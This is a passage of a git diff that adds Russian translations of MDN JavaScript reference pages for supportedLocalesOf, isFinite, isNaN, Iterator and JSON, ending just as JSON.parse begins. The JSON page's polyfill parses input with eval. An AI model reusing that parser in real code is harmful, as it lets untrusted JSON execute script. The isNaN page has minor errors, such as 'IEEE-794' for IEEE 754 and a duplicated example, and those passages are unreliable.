+++ b/files/ru/web/javascript/reference/global_objects/intl/numberformat/supportedlocalesof/index.html
@@ -0,0 +1,117 @@
+---
+title: Intl.NumberFormat.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/supportedLocalesOf
+tags:
+  - Internationalization
+  - JavaScript
+  - Method
+  - NumberFormat
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/supportedLocalesOf
+---
+<div>{{JSRef("Global_Objects", "NumberFormat", "Intl,Collator,DateTimeFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Intl.NumberFormat.supportedLocalesOf()</code></strong> возвращает массив, содержащий те из предоставленных локалей, что поддерживаются при форматировании чисел без отката к локали по умолчанию среды выполнения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Intl.NumberFormat.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Строка с языковой меткой BCP 47, либо массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_identification_and_negotiation", 1)}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>
+  <p>Необязательный параметр. Объект, который может содержать следующее свойство:</p>
+  <dl>
+   <dt><code>localeMatcher</code></dt>
+   <dd>Используемый алгоритм сопоставления локалей. Возможными значениями являются <code>"lookup"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Информацию по этой опции смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_negotiation", 1)}}.</dd>
+  </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает массив с подмножеством языковых меток, предоставленных в аргументе <code>locales</code>. Возвращаются те языковые метки, для которых среда выполнения поддерживает форматирование чисел без отката к локали по умолчанию; при поиске используется предоставленный алгоритм сопоставления локалей.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_supportedLocalesOf" name="Example:_Using_supportedLocalesOf">Пример: использование <code>supportedLocalesOf</code></h3>
+<p>Предполагая, что среда выполнения поддерживает индонезийское и немецкое, но на балийское форматирование чисел, метод <code>supportedLocalesOf</code> вернёт неизменными индонезийскую и немецкую языковые метки, даже несмотря на то, что сортировка <code>pinyin</code> не относится к форматированию чисел, не используется с индонезийским языком и вряд ли будет поддерживаться в немецком языке для Индонезии. Обратите внимание на используемую здесь спецификацию алгоритма <code>"lookup"</code> — сопоставление <code>"best fit"</code> может решить, что индонезийский язык является адекватным сопоставлением с балийским, поскольку большинство людей, говорящих на балийском, также понимают индонезийский, и поэтому может возвратиться ещё и языковая метка балийского языка.</p>
+<pre class="brush: js">var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+var options = { localeMatcher: 'lookup' };
+console.log(Intl.NumberFormat.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/isfinite/index.html
new file mode 100644
index 0000000000..eb1c6ee465
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/isfinite/index.html
@@ -0,0 +1,114 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/isFinite
+tags:
+  - JavaScript
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+
+<div> </div>
+</div>
+</div>
+
+<p>Глобальная <code><strong>isFinite()</strong></code> функция определяет, является ли переданное значение конечным числом. Если необходимо, параметр сначала преобразуется в число.</p>
+
+<p> </p>
+
+<p> </p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-isfinite.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">isFinite(<em>testValue</em>)</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>Аргумент для проверки, является ли он конечным числом.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p><code>isFinite</code> это функция верхнего уровня и она не связана ни с одним объектом.</p>
+
+<p>Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция <code>isFinite</code> исследует число в своем параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернет <code>false</code>; иначе возвращается <code>true</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">isFinite(Infinity);  // false
+isFinite(NaN);       // false
+isFinite(-Infinity); // false
+
+isFinite(0);         // true
+isFinite(2e64);      // true
+
+
+isFinite("0");       // true, но было бы false если использовать
+                     // более надежный вариант Number.isFinite("0")
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.isFinite")}}</p>
+
+<p> </p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Number.NaN()")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/isnan/index.html b/files/ru/web/javascript/reference/global_objects/isnan/index.html
new file mode 100644
index 0000000000..e61bdf3c8c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/isnan/index.html
@@ -0,0 +1,133 @@
+---
+title: isNaN
+slug: Web/JavaScript/Reference/Global_Objects/isNaN
+tags:
+  - Functions
+  - JavaScript
+  - Method
+  - NeedsUpdate
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Функция <code><strong>isNaN()</strong></code> определяет является ли литерал или переменная нечисловым значением ({{jsxref("Global_Objects/NaN", "NaN")}}) или нет. При работе с функцией необходимо проявлять осторожность так как она <a href="#Description">имеет свои особенности</a>. В качестве альтернативы можно использовать метод {{jsxref("Number.isNaN()")}} из ECMAScript 6, или дополнительно проверять литерал или переменную на нечисловое значение при помощи <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>isNaN(<em>значение</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>Значение</code></dt>
+ <dd>Литерал или переменная которые будут проверяться на нечисловое значение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<h3 id="The_necessity_of_an_isNaN_function" name="The_necessity_of_an_isNaN_function">Для чего нужна функция <code>isNaN</code>?</h3>
+
+<p>В отличие от других возможных значениях в JavaScript, при работе с значением данного типа невозможно полагаться на == и === для определения, является ли переменная или литерал нечисловым значением ({{jsxref("Global_Objects/NaN", "NaN")}}) или нет, так как проверки <code>NaN == NaN</code> и <code>NaN === NaN</code> <em>в качестве значения вернут </em><code>false</code>. Следовательно, для проверки нужна функция <code>isNaN</code>.</p>
+
+<h4 id="Примечание">Примечание:</h4>
+
+<p>Для альтернативной проверки переменной на NaN без использования функции isNaN() можно воспользоваться конструкцией x !== x</p>
+
+<pre class="syntaxbox"><code><strong>var</strong> x = NaN</code>
+
+<code>x != x // true</code>
+<code>x !== x // true</code>
+</pre>
+
+<h3 id="Origin_of_NaN_values" name="Origin_of_NaN_values">Генерация значения <code>NaN</code></h3>
+
+<p>Значение <code>NaN</code> генерируются арифметическими операциями, результатом которых является <em>undefined</em> или <em>unrepresentable</em>. Такие условия не обязательно обозначают переполнение стека.<code> NaN</code> также может являться результатом попытки преобразования числа в строку, или значения, не имеющего эквивалента в простых числовых примитивах.</p>
+
+<p>Например, деление нуля на нуль возвращает <code>NaN</code> — <em>но деление других чисел на 0 не возвращает NaN</em>.</p>
+
+<pre class="syntaxbox"><code><strong>var</strong> x = NaN</code>
+
+<code>x != x // true</code>
+<code>x !== x // true</code>
+</pre>
+
+<h3 id="Особенности_поведения"><em>Особенности поведения</em></h3>
+
+<p>С самых ранних версий функции <code>isNaN</code> её поведение для не числовых переменных или литералов было довольно-таки запутанным. Когда аргументом функции <code>isNaN</code> является переменная, тип которой не <a href="http://es5.github.com/#x8.5" title="http://es5.github.com/#x8.5">Number</a>, она преобразуется к типу <code>Number</code>. Полученное значение затем проверяется, является ли оно {{jsxref("Global_Objects/NaN", "NaN")}}. Таким образом для не числовых значений, которые можно преобразовать в числовой тип без не-NaN значения (в частности, пустая строка или логические примитивы, которые преобразуются в 0 или 1), возвращаемое значение "false" может быть полной неожиданностью; пустая строка преобразуется в  "not a number." Путаница связана с тем, что "not a number" имеет определённое значение, описанное в стандарте IEEE-794 чисел с плавающей точкой. Функцию стоит воспринимать в качестве ответа на вопрос, "Является ли это значение корректным числом по стандарту IEEE-794?"</p>
+
+<p>В следующей версии ECMAScript (ES6) функция {{jsxref("Number.isNaN()")}} также присутствует. <code>Number.isNaN(x)</code> будет надёжным методом для проверки, содержит ли <code>x</code> значение <code>NaN</code> или нет. Даже с <code>Number.isNaN</code>, однако, результатом <code>NaN</code> остаётся точное числовое значение, а не просто "not a number".</p>
+
+<h2 id="Examples" name="Examples">Пример</h2>
+
+<pre class="brush: js">isNaN(NaN);       // true
+isNaN(undefined); // true
+isNaN({});        // true
+
+isNaN(true);      // false
+isNaN(null);      // false
+isNaN(37);        // false
+
+// strings
+isNaN("37");      // false: "37" преобразуется в число 37 которое не NaN
+isNaN("37.37");   // false: "37.37" преобразуется в число 37.37 которое не NaN
+isNaN("");        // false: пустая строка преобразуется в 0 которое не NaN
+isNaN(" ");       // false: строка с пробелом преобразуется в 0 которое не NaN
+isNaN("37,5");    // true
+
+// Даты
+isNaN(new Date());                // false
+isNaN(new Date().toString());     // true
+
+// Пример почему использование isNaN не всегда уместно
+isNaN("blabla")   // true: "blabla" преобразованно в число.
+                  // При парсинге преобразуется в число при неудаче возвращает NaN
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.isNaN")}}</p>
+
+<p> </p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/iterator/index.html b/files/ru/web/javascript/reference/global_objects/iterator/index.html
new file mode 100644
index 0000000000..0a55a44af9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/iterator/index.html
@@ -0,0 +1,138 @@
+---
+title: Iterator
+slug: Web/JavaScript/Reference/Global_Objects/Iterator
+tags:
+  - JavaScript
+  - Reference
+translation_of: Archive/Web/Iterator
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div> </div>
+
+<div class="blockIndicator warning">
+<p><strong>Non-standard.</strong> The <code><strong>Iterator</strong></code> function is a SpiderMonkey-specific feature, and will be removed at some point. For future-facing usages, consider using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for..of</a> loops and the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterator protocol</a>.</p>
+</div>
+
+<p>The <code><strong>Iterator</strong></code> function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>Iterator(<var>object</var>, [keyOnly])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Object to iterate over properties.</dd>
+ <dt><code>keyOnly</code></dt>
+ <dd>If <code>keyOnly</code> is truthy value, <code>Iterator.prototype.next</code> returns <code>property_name</code> only.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Returns <code>Iterator</code> instance that iterates over <code>object</code>. <code>Iterator</code> instance returns <code>[property_name, property_value]</code> array for each iteration if <code>keyOnly</code> is falsy,  otherwise, if <code>keyOnly</code> is truthy, it returns <code>property_name</code> for each iteration.  If <code>object</code> is the <code>Iterator</code> instance or Generator instance, it returns <code>object</code> itself.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code><strong>Iterator.prototype[@@iterator]</strong></code></dt>
+ <dd>Returns a function that returns iterator object.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt><code><strong>Iterator.prototype.next</strong></code></dt>
+ <dd>Returns next item in the <code>[property_name, property_value]</code> format or <code>property_name</code> only. It throws <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/StopIteration">StopIteration</a></code> if there are no more items.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Iterating_over_properties_of_an_object">Iterating over properties of an object</h3>
+
+<pre><code>var a = {
+  x: 10,
+  y: 20,
+};
+var iter = Iterator(a);
+console.log(iter.next()); // ["x", 10]
+console.log(iter.next()); // ["y", 20]
+console.log(iter.next()); // throws StopIteration</code></pre>
+
+<h3 id="Iterating_over_properties_of_an_object_with_legacy_destructuring_for-in_statement">Iterating over properties of an object with legacy destructuring <code>for-in</code> statement</h3>
+
+<pre><code>var a = {
+  x: 10,
+  y: 20,
+};
+
+for (var [name, value] in Iterator(a)) {
+  console.log(name, value);   // x 10
+                              // y 20
+}</code></pre>
+
+<h3 id="Iterating_with_for-of">Iterating with <code>for-of</code></h3>
+
+<pre><code>var a = {
+  x: 10,
+  y: 20,
+};
+
+for (var [name, value] of Iterator(a)) {  // @@iterator is used
+  console.log(name, value);   // x 10
+                              // y 20
+}</code></pre>
+
+<h3 id="Iterates_over_property_name">Iterates over property name</h3>
+
+<pre><code>var a = {
+  x: 10,
+  y: 20,
+};
+
+for (var name in Iterator(a, true)) {
+  console.log(name);   // x
+                       // y
+}</code></pre>
+
+<h3 id="Passing_Generator_instance">Passing Generator instance</h3>
+
+<pre><code>function* f() {
+  yield 'a';
+  yield 'b';
+}
+var g = f();
+
+console.log(g == Iterator(g)); // true
+
+for (var v in Iterator(g)) {
+  console.log(v);   // a
+                    // b
+}</code></pre>
+
+<h3 id="Passing_Iterator_instance">Passing Iterator instance</h3>
+
+<pre><code>var a = {
+  x: 10,
+  y: 20,
+};
+
+var i = Iterator(a);
+
+console.log(i == Iterator(i)); // true</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Non-standard. Not part of any current standards document</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>Not supported. Used to be in Firefox in versions prior to Firefox 57.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Iterators_and_Generators" title="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Iterators and Generators</a></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/StopIteration">StopIteration</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/json/index.html b/files/ru/web/javascript/reference/global_objects/json/index.html
new file mode 100644
index 0000000000..30cc3735af
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/json/index.html
@@ -0,0 +1,230 @@
+---
+title: JSON
+slug: Web/JavaScript/Reference/Global_Objects/JSON
+tags:
+  - JSON
+  - JavaScript
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef("Global_Objects", "JSON")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Объект <strong><code>JSON</code></strong> содержит методы для разбора <a class="external" href="http://json.org/">объектной нотации JavaScript</a> (JavaScript Object Notation — сокращённо {{glossary("JSON")}}) и преобразования значений в JSON. Его нельзя вызвать как функцию или сконструировать как объект, и кроме своих двух методов он не содержит никакой интересной функциональности.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<h3 id="JavaScript_Object_Notation" name="JavaScript_Object_Notation">Объектная нотация JavaScript</h3>
+
+<p>JSON является синтаксисом для сериализации объектов, массивов, чисел, строк логических значений и значения {{jsxref("null")}}. Он основывается на синтаксисе JavaScript, однако всё же отличается от него: не каждый код на JavaScript является JSON, и не каждый JSON является кодом на JavaScript. Смотрите также статью <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">JSON: подмножество JavaScript, которым он не является</a> (на английском).</p>
+
+<table>
+ <caption>Различия между JavaScript и JSON</caption>
+ <thead>
+  <tr>
+   <th scope="col">Тип JavaScript</th>
+   <th scope="col">Отличия от JSON</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Объекты и массивы</td>
+   <td>Имена свойств должны быть строками, заключёнными в двойные кавычки; конечные запятые запрещены.</td>
+  </tr>
+  <tr>
+   <td>Числа</td>
+   <td>Ведущие нули запрещены; перед десятичной запятой обязательно должна быть хотя бы одна цифра.</td>
+  </tr>
+  <tr>
+   <td>Строки</td>
+   <td>
+    <p>Только ограниченный набор символов может быть заэкранирован; некоторые управляющие символы запрещены; разрешены юникодные символы разделительной линии (<a href="http://unicode-table.com/ru/2028/">U+2028</a>) и разделительного параграфа (<a href="http://unicode-table.com/ru/2029/">U+2029</a>); строки должны быть заключены в двойные кавычки. Смотрите следующий пример, в котором метод {{jsxref("JSON.parse()")}} отрабатывает без проблем, а при вычислении кода как JavaScript выбрасывается исключение {{jsxref("SyntaxError")}}:</p>
+
+    <pre class="brush: js">
+var code = '"\u2028\u2029"';
+JSON.parse(code); // работает
+eval(code); // ошибка
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ниже представлен полный синтаскис JSON:</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">JSON = null
+    or true or false
+    or JSONNumber
+    or JSONString
+    or JSONObject
+    or JSONArray
+
+JSONNumber = - PositiveNumber
+          or PositiveNumber
+PositiveNumber = DecimalNumber
+              or DecimalNumber . Digits
+              or DecimalNumber . Digits ExponentPart
+              or DecimalNumber ExponentPart
+DecimalNumber = 0
+             or OneToNine Digits
+ExponentPart = e Exponent
+            or E Exponent
+Exponent = Digits
+        or + Digits
+        or - Digits
+Digits = Digit
+      or Digits Digit
+Digit = 0 through 9
+OneToNine = 1 through 9
+
+JSONString = ""
+          or " StringCharacters "
+StringCharacters = StringCharacter
+                or StringCharacters StringCharacter
+StringCharacter = any character
+                  except " or \ or U+0000 through U+001F
+               or EscapeSequence
+EscapeSequence = \" or \/ or \\ or \b or \f or \n or \r or \t
+              or \u HexDigit HexDigit HexDigit HexDigit
+HexDigit = 0 through 9
+        or A through F
+        or a through f
+
+JSONObject = { }
+          or { Members }
+Members = JSONString : JSON
+       or Members , JSONString : JSON
+
+JSONArray = [ ]
+         or [ ArrayElements ]
+ArrayElements = JSON
+             or ArrayElements , JSON</code></pre>
+
+<p>Во всех продукциях могут присутствовать незначащие пробельные символы, за исключением продукций <code><var>ЧислоJSON</var></code> (числа не должны содержать пробелов) и <code><var>СтрокаJSON</var></code> (где они интерпретируются как часть строки или возбуждают ошибку). Пробельными символами считаются символы табуляции (<a href="http://unicode-table.com/ru/0009/">U+0009</a>), возврата каретки (<a href="http://unicode-table.com/ru/000D/">U+000D</a>), перевода строки (<a href="http://unicode-table.com/ru/000A/">U+000A</a>) и, собственно, пробела (<a href="http://unicode-table.com/ru/0020/">U+0020</a>).</p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>Разбирает строку JSON, возможно с преобразованием получаемого значения и его свойств и возвращает разобранное значение.</dd>
+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>Возвращает строку JSON, соответствующую указанному значению, возможно с включением только определённых свойств или с заменой значений свойств определяемым пользователем способом.</dd>
+</dl>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Объект <code>JSON</code> не поддерживается старыми браузерами. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать объект <code>JSON</code> в реализациях, которые его ещё не поддерживают (например, в Internet Explorer 6).</p>
+
+<p>Следующий алгоритм имитирует работу настоящего объекта <code>JSON</code>:</p>
+
+<pre class="brush: js">if (!window.JSON) {
+  window.JSON = {
+    parse: function(sJSON) { return eval('(' + sJSON + ')'); },
+    stringify: function(vContent) {
+      if (vContent instanceof Object) {
+        var sOutput = '';
+        if (vContent.constructor === Array) {
+          for (var nId = 0; nId &lt; vContent.length; sOutput += this.stringify(vContent[nId]) + ',', nId++);
+          return '[' + sOutput.substr(0, sOutput.length - 1) + ']';
+        }
+        if (vContent.toString !== Object.prototype.toString) {
+          return '"' + vContent.toString().replace(/"/g, '\\$&amp;') + '"';
+        }
+        for (var sProp in vContent) {
+          sOutput += '"' + sProp.replace(/"/g, '\\$&amp;') + '":' + this.stringify(vContent[sProp]) + ',';
+        }
+        return '{' + sOutput.substr(0, sOutput.length - 1) + '}';
+     }
+     return typeof vContent === 'string' ? '"' + vContent.replace(/"/g, '\\$&amp;') + '"' : String(vContent);
+    }
+  };
+}
+</pre>
+
+<p>Более сложными известными <a class="external" href="http://remysharp.com/2010/10/08/what-is-a-polyfill/">полифиллами</a> для объекта <code>JSON</code> являются проекты <a class="link-https" href="https://github.com/douglascrockford/JSON-js">JSON2</a> и <a class="external" href="http://bestiejs.github.com/json3">JSON3</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("8.0")}}</td>
+   <td>{{CompatOpera("10.5")}}</td>
+   <td>{{CompatSafari("4.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Using_native_JSON">Использование родного объекта <code>JSON</code></a></li>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/json/parse/index.html b/files/ru/web/javascript/reference/global_objects/json/parse/index.html
new file mode 100644
index 0000000000..febd8ba943
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/json/parse/index.html
@@ -0,0 +1,150 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/parse
+tags:
+  - ECMAScript5
+  - JSON
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef("Global_Objects", "JSON")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>JSON.parse()</code></strong> разбирает строку JSON, возможно с преобразованием получаемого в процессе разбора значения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>JSON.parse(<var>text</var>[, <var>reviver</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
